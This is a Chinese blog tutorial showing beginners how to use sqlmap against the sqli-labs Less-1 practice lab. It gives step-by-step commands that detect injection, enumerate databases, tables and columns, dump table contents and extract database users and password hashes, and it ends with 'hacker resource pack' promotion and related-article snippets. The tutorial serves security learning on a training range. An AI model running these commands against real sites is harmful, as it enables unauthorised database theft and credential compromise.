SQL注入之sqlmap入门教程_sqlmap注入

已于 2024-05-11 14:21:41 修改
阅读量705 收藏 19
点赞数 26
文章标签： web安全 网络 安全 前端 网络协议 数据库 sql
于 2024-05-11 14:21:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/VN520/article/details/138714333
版权

原来sql注入如此简单

以SQL注入靶场sqli-labs第一关为例，进行sqlmap工具的使用分享。

一、判断是否存在注入点

使用命令：

使用命令：sqlmap -u “http://49.232.78.252:83/Less-1/?id=1”

有图中白色背景的 则判断出有注入点

二、查询当前用户下所有数据库

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” --dbs

可以看到有五个表

三、获取数据库中的表名

选取一个challenges数据库，获取此库的表名

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges --tables

四、获取表中的字段名

选取表T5M0QG6FM2，获取其中字段名

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges -T T5M0QG6FM2 –columns

五、获取字段内容

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges -T T5M0QG6FM2 --columns –dump

六、获取数据库的所有用户

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” –users

使用该命令就可以列出所有管理用户

七、获取数据库用户的密码

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” –passwords

八、获取当前网站数据库的名称

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” --current-db

可以看到当前的数据库是 security

九、获取当前网站数据库的用户名称

使用命令：

sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” --current-user

当前用户是root

学习资料分享

当然，只给予计划不给予学习资料的行为无异于耍流氓，### 如果你对网络安全入门感兴趣，那么你点击这里👉CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣，学习资源免费分享，保证100%免费！！！（嘿客入门教程）

👉网安（嘿客）全套学习视频👈

我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。

img

👉网安（嘿客红蓝对抗）所有方向的学习路线****👈

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料，全面地介绍网络安全的基础理论，包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等，将基础理论和主流工具的应用实践紧密结合，有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题！进大厂指日可待！
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了，给大家节省了很多时间。

这份完整版的网络安全（嘿客）全套学习资料已经上传至CSDN官方，朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你对网络安全入门感兴趣，那么你点击这里👉CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

蒋白白
关注
  • 26
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
渗透测试 ( 6 ) --- SQL 注入神器 sqlmap
墨鱼菜鸡
07-11 2917
sqlmap 官网：http://sqlmap.org/ sqlmap文档地址：https://github.com/sqlmapproject/sqlmap/wiki/Usage sqlmap 使用 思维导图：http://download.csdn.net/detail/freeking101/9887831 黑帽与白帽都喜爱的十大SQL注入工具：...
sqlmap详细教程
简介
01-04 3079
SQLmqp教程！
SQL注入攻击与防御
10-04
SQL注入是Internet上最危险、最有名的安全漏洞之一，本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家，他们集众家之长，对应用程序的基本编码和升级维护进行全面跟踪，详细讲解可能引发SQL注入的行为以及攻击者的利用要素，并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点，本书重点讲解了SQL注入的排查方法和可以借助的工具，总结了常见的利用SQL漏洞的方法。另外，本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。 　　本书主要内容 　　SQL注入一直长期存在，但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息，凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。 　　什么是SQL注入?理解它是什么以及它的基本原理 　　查找、确认和自动发现SQL注入 　　查找代码中SQL注入时的提示和技巧 　　使用SQL注入创建利用 　　通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全的数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字和字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码中的SQL注入 71 3.1 概述 72 3.2 复查源代码中的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQL和T-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1：基于时间 120 4.5.2 方法2：基于错误 122 4.5.3 方法3：基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle中的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
SQL注入攻击与防御（安全技术经典译丛）
02-19
作 者：（美）克拉克 著，黄晓磊，李化 译 SQL注入是Internet上最危险、最有名的安全漏洞之一，本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家，他们集众家之长，对应用程序的基本编码和升级维护进行全面跟踪，详细讲解可能引发SQL注入的行为以及攻击者的利用要素，并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点，本书重点讲解了SQL注入的排查方法和可以借助的工具，总结了常见的利用SQL漏洞的方法。另外，本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。 　　本书主要内容 　　SQL注入一直长期存在，但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息，凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。 　　什么是SQL注入?理解它是什么以及它的基本原理 　　查找、确认和自动发现SQL注入 　　查找代码中SQL注入时的提示和技巧 　　使用SQL注入创建利用 　　通过设计来避免由SQL攻击所带来的危险 目录： 第1章 什么是SQL注入 　1.1 概述 　1.2 理解Web应用的工作原理 　　1.2.1 一种简单的应用架构 　　1.2.2 一种较复杂的架构 　1.3 理解SQL注入 　1.4 理解SQL注入的产生过程 　　1.4.1 构造动态字符串 　　1.4.2 不安全的数据库配置 　1.5 本章小结 　1.6 快速解决方案 　1.7 常见问题解答 第2章 SQL注入测试 　2.1 概述 　2.2 寻找SQL注入 　　2.2.1 借助推理进行测试 　　2.2.2 数据库错误 　　2.2.3 应用响应 　　2.2.4 SQL盲注 　2.3 确认SQL注入 　　2.3.1 区分数字和字符串 　　2.3.2 内联SQL注入 　　2.3.3 终止式SQL注入 　　2.3.4 时间延迟 　2.4 自动寻找SQL注入 　2.5 本章小结 　2.6 快速解决方案 　2.7 常见问题解答 第3章 复查代码中的SQL注入 　3.1 概述 　3.2 复查源代码中的SQL注入 　　3.2.1 危险的编码行为 　　3.2.2 危险的函数 　　3.2.3 跟踪数据 　　3.2.4 复查PL/SQL和T-SQL代码 　3.3 自动复查源代码第1章 什么是SQL注入 　　3.3.1 YASCA 　　3.3.2 Pixy 　　3.3.3 AppCodeScan 　　3.3.4 LAPSE 　　3.3.5 SWAAT 　　3.3.6 Microsoft SQL注入源代码分析器 　　3.3.7 CAT.NET 　　3.3.8 商业源代码复查工具 　　3.3.9 Ounce 　　3.3.10 Fortify源代码分析器 　　3.3.11 CodeSecure 　3.4 本章小结 　3.5 快速解决方案 　3.6 常见问题解答 第4章 利用SQL注入 　4.1 概述 　4.2 理解常见的利用技术 　4.3 识别数据库 　　4.3.1 非盲跟踪 　　4.3.2 盲跟踪 　4.4 使用UINON语句提取数据 　　4.4.1 匹配列 　　4.4.2 匹配数据类型 　4.5 使用条件语句 　　4.5.1 方法1：基于时间 　　4.5.2 方法2：基于错误 　　4.5.3 方法3：基于内容 　　4.5.4 处理字符串 　　4.5.5 扩展攻击 　　4.5.6 利用SQL注入错误 　　4.5.7 Oracle中的错误消息 　4.6 枚举数据库模式 　　4.6.1 SQL Server 　　4.6.2 MySQL 　　4.6.3 Oracle 　4.7 提升权限 　　4.7.1 SQL Server 　　4.7.2 Oracle 　4.8 窃取哈希口令 　　4.8.1 SQL Server 　　4.8.2 MySQL 　　4.8.3 Oracle 　4.9 带外通信 　　4.9.1 E-mail 　　4.9.2 HTTP/DNS 　　4.9.3 文件系统 　4.10 自动利用SQL注入 　　4.10.1 Sqlmap 　　4.10.2 Bobcat 　　4.10.3 BSQL 　　4.10.4 其他工具 　4.11 本章小结 　4.12 快速解决方案 　4.13 常见问题解答 第5章 SQL盲注利用 　5.1 概述 　5.2 寻找并确认SQL盲注 　　5.2.1 强制产生通用错误 　　5.2.2 注入带副作用的查询 　　5.2.3 拆分与平衡 　　5.2.4 常见的SQL盲注场景 　　5.2.5 SQL盲注技术 　5.3 使用基于时间的技术 　　5.3.1 延迟数据库查询 　　5.3.2 基于时间推断的考虑 　5.4 使用基于响应的技术 　　5.4.1 MySQL响应技术 　　5.4.2 SQL Server响应技术 　　5.4.3 Oracle响应技术 　　5.4.4 返回多位信息 　5.5 使用非主流通道 　　5.5.1 数据库连接 　　5.5.2 DNS渗漏 　　5.5.3 E-mail渗漏 　　5.5.4 HTTP渗漏 　5.6 自动SQL盲注利用 　　5.6.1 Absinthe 　　5.6.2 BSQL Hacker 　　5.6.3 SQLBrute 　　5.6.4 Sqlninja 　　5.6.5 Squeeza 　5.7 本章小结 　5.8 快速解决方案 　5.9 常见问题解答 第6章 利用操作系统 　6.1 概述 　6.2 访问文件系统 　　6.2.1 读文件 　　6.2.2 写文件 　6.3 执行操作系统命令 　6.4 巩固访问 　6.5 本章小结 　6.6 快速解决方案 　6.7 常见问题解答 　6.8 尾注 第7章 高级话题 　7.1 概述 　7.2 避开输入过滤器 　　7.2.1 使用大小写变种 　　7.2.2 使用SQL注释 　　7.2.3 使用URL编码 　　7.2.4 使用动态的查询执行 　　7.2.5 使用空字节 　　7.2.6 嵌套剥离后的表达式 　　7.2.7 利用截断 　　7.2.8 避开自定义过滤器 　　7.2.9 使用非标准入口点 　7.3 利用二阶SQL注入 　7.4 使用混合攻击 　　7.4.1 修改捕获的数据 　　7.4.2 创建跨站脚本 　　7.4.3 在Oracle上运行操作系统命令 　　7.4.4 利用验证过的漏洞 　7.5 本章小结 　7.6 快速解决方案 　7.7 常见问题解答 第8章 代码层防御 　8.1 概述 　8.2 使用参数化语句 　　8.2.1 Java中的参数化语句 　　8.2.2 .NET(C#)中的参数化语句 　　8.2.3 PHP中的参数化语句 　　8.2.4 PL/SQL中的参数化语句 　8.3 输入验证 　　8.3.1 白名单 　　8.3.2 黑名单 　　8.3.3 Java中的输入验证 　　8.3.4 .NET中的输入验证 　　8.3.5 PHP中的输入验证 　8.4 编码输出 　8.5 规范化 　8.6 通过设计来避免SQL注入的危险 　　8.6.1 使用存储过程 　　8.6.2 使用抽象层 　　8.6.3 处理敏感数据 　　8.6.4 避免明显的对象名 　　8.6.5 创建数据库Honeypot 　　8.6.6 附加的安全开发资源 　8.7 本章小结 　8.8 快速解决方案 　8.9 常见问题解答 第9章 平台层防御 　9.1 概述 　9.2 使用运行时保护 　　9.2.1 Web应用防火墙 　　9.2.2 截断过滤器 　　9.2.3 不可编辑的输入保护与可编辑的输入保护 　　9.2.4 URL策略/页面层策略 　　9.2.5 面向方面编程 　　9.2.6 应用入侵检测系统 　　9.2.7 数据库防火墙 　9.3 确保数据库安全 　　9.3.1 锁定应用数据 　　9.3.2 锁定数据库服务器 　9.4 额外的部署考虑 　　9.4.1 最小化不必要信息的泄露 　　9.4.2 提高Web服务器日志的冗余 　　9.4.3 在独立主机上部署Web服务器和数据库服务器 　　9.4.4 配置网络访问控制 　9.5 本章小结 　9.6 快速解决方案 　9.7 常见问题解答 第10章 参考资料 　10.1 概述 　10.2 SQL入门 　10.3 SQL注入快速参考 　　10.3.1 识别数据库平台 　　10.3.2 Microsoft SQL Server备忘单 　　10.3.3 MySQL备忘单 　　10.3.4 Oracle备忘单
最佳入门教程之SQL注入1
07-29
软件测试最佳入门教程之SQL注入1 软件测试最佳入门教程之SQL注入1
sqli-exploiter:利用sqlmap找不到SQL注入漏洞的工具
05-17
SQLi Exploiter 警告：这不是脚本小工具！ 要使用它，需要详细了解该漏洞，全面了解受影响的RDBMS中可用的功能以及编写Python的能力。 好消息是它是高度可配置的。 出于利用sqlmap找不到SQL注入漏洞的需要而产生的。 始终先尝试sqlmap。 它是高度可定制的，并且仅在非常复杂的注入情况下才会失败。 但是，当它确实失败时，请使用它。 享受！ -蒂姆（@ lanmaster53）Tomes 入门 安装依赖项： pip install -r REQUIREMENTS.txt 编辑config.py文件并按照编号的配置步骤进行操作。 运行脚本： python ./sqli-exploiter.py 用Python 3开发和测试，但也可能在Python 2中工作。我不知道...
sql注入入门教程（附源码分析）
03-07
主要是对sql基本原理，加部分sqlmap源码分析
sqlmap工具基本使用（检测sql注入）
m0_37570494的博客
01-25 6092
sqlmap的用户手册： sqlmap是python2进行运行的，如果要直接使用，需要把sqlmap设置到环境变量中： sqlmap主要用于sql注入方面的异常检测 Mysql数据库 1、先检测是否可以注入,先判断是否可以正常注入： sqlmap -u url -v 3 里面有个注意的点url后面必须是可注入的参数?id=之类的，否则url检测会有问题 对于某些今天url可以在/a/b*.html尝试加入*号来进行此路径内的检测 2、爆库 sqlmap.py -u http://...
sqlmap注入实战教程（图文详解）
weixin_49071539的博客
12-18 2万+
此教程使用靶场实战演示，仅供学习未经授权切勿用于非法用途 ！ 1.发现此网址可能存在sql注入漏洞，我们进行sql盲注入测试一下是否存在漏洞。 地址栏输入 and 1=1 发现页面正常显示。 再次输入and 1=2 页面出现错误，说明该页面可能存在sql注入漏洞 2.现在拿出我们的kali工具，sqlmap进行注入测试。 sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs 3.可以看到存在注入漏洞，扫到了5个数据库。要获.
sqlmap进行SQL注入
weixin_45095113的博客
03-16 508
sqlmap跑SQL注入
SqlMap注入软件
03-29
Sqlmap是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。SQL注入漏洞检测与利用的神器，是最好的注入工具没有之一
详解强大的SQL注入工具——SQLMAP
05-09
这是一个审计数据库安全的SQL注入工具的使用指南， 该工具在windows平台与linux平台下均可以使用。数据库管理员（DBA）可用它来检 验自己的数据库是否存在安全配置方面的漏洞。
SQL注入加sqlmap使用
06-13
SQL注入加sqlmap使用，支持一下，谢谢，可以了解一下。
sqlmap注入命令详解
08-19
使用sqlmap进行数据库注入漏洞测试，高效，快速
sqlmap命令详解
Pitbull2014的博客
12-20 1080
cookie注入：sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入：sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables sqlmap.py -u 登录的地址 --forms 自动判断注入 sqlmap.py -u 登录的地址 --data "指定参数" 绕过waf防火墙：sq...
sqlmap注入使用教程
黑面狐
09-05 8万+
最近在学习SQL注入的东西。自己搭建了一个wavsep靶机,作为练习的对象，之后有空会写一个wavsep的教程。 首先下载安装sqlmap..github传送门：https://github.com/sqlmapproject/sqlmap/releases 一、sqlmap选项   目标:至少要选中一个参数     -u URL, --url=URL   目标为 URL (例如. "ht
SQL注入的注入点找法
m0_67390969的博客
07-28 1726
2，交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//www.xxx.com/index.phpid=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http//www.xxx.com50006/index.phpx=home&c=View&a=index&aid=9这样的地址其实也可能存在注入。1，注入点首先观察搜索框的地址是否是有与数据库交互，例如html这种几乎是不存在注入的所以要先判断是否有交互。...
使用sqlmap检测sql注入漏洞
热门推荐
菜鸟、上路
08-21 10万+
一、 sql注入概述并安装sqlmap漏洞查看工具 1、 sql注入概述 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 它是利用现有应用程序，可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表...
SQL注入之SQLmap入门
Shellcode.Cool!
04-18 876
什么是SQLmap？ SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）。 读者可以通过位于SourceForge的官方网站下载SQLmap源码：http://sourceforge.net/projects/sqlmap/和http://sqlmap.org/ SQLmap的作者是谁
sqlmap使用教程sql注入
最新发布
08-17
- *1* *2* *3* [SQL注入之sqlmap入门教程](https://blog.csdn.net/m0_56634355/article/details/124058943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值